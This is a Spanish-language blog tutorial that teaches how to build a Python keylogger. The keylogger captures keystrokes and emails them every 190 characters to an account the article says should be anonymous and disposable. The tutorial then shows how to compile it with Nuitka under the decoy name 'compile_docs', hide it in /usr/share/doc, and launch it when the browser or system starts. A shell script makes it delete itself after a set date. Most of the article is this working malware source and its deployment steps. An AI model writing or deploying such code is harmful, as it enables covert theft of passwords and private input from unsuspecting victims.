En este artículo enseño como programar un keylogger avanzado que envía mensajes por correo electrónico y se autodestruye después de una fecha concreta.
El código (lo guardamos como compile_docs.py
1) utilizado es el siguiente:
#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
from email.message import EmailMessage
import smtplib, ssl
keys = ''
def on_press(key):
print(key)
global keys, count
keys += str(key)
print(len(keys), keys)
if len(keys) > 190:
send_email(keys)
keys = ''
def send_email(message):
smtp_server = "CHANGE"
port = 587
sender_email = "CHANGE"
password = "CHANGE"
receiver_email = sender_email
em = EmailMessage()
em.set_content(message)
em['To'] = receiver_email
em['From'] = sender_email
em['Subject'] = 'keylog'
context = ssl.create_default_context()
with smtplib.SMTP(smtp_server, port) as s:
s.ehlo()
s.starttls(context=context)
s.ehlo()
s.login(sender_email, password)
s.send_message(em)
with Listener(on_press=on_press) as listener:
listener.join()
Debemos reemplazar lo que pone CHANGE
con información para el envío
del correo electrónico. Obviamente, el correo electrónico utilizado ha
de ser uno anónimo de usar y tirar. Básicamente, con el código anterior
enviamos un correo cada vez que se pulsen varias teclas (cuando ocupan
190
caracteres).
Ahora vamos a compilar el código con Nuitka:
sudo pip3 install nuitka
nuikta3 compile_docs.py
El programa habrá producido un archivo compilado llamado
compile_docs.bin
. Finalmente, hay que hacer que se ejecute ese
archivo al iniciar un navegador o al arrancar el ordenador, como
expliqué en el artículo anterior.
Si queremos hacer que el programa se autodestruya tras un período de tiempo, podemos crear algo así2:
#!/bin/sh
DATE=`date +%Y%m%d`
if [ $DATE > 20230501 ]; then
rm /usr/share/doc/python3/compile_docs.py
rm /usr/share/doc/python3/compile_docs.bin
mv firefox.bin $0 # Elimina este archivo
else
python3 nuestro_keylogger.py
fi
Los pasos para eliminar el keylogger pueden variar un poco dependiendo de cómo lo hayas ocultado.
Comentarios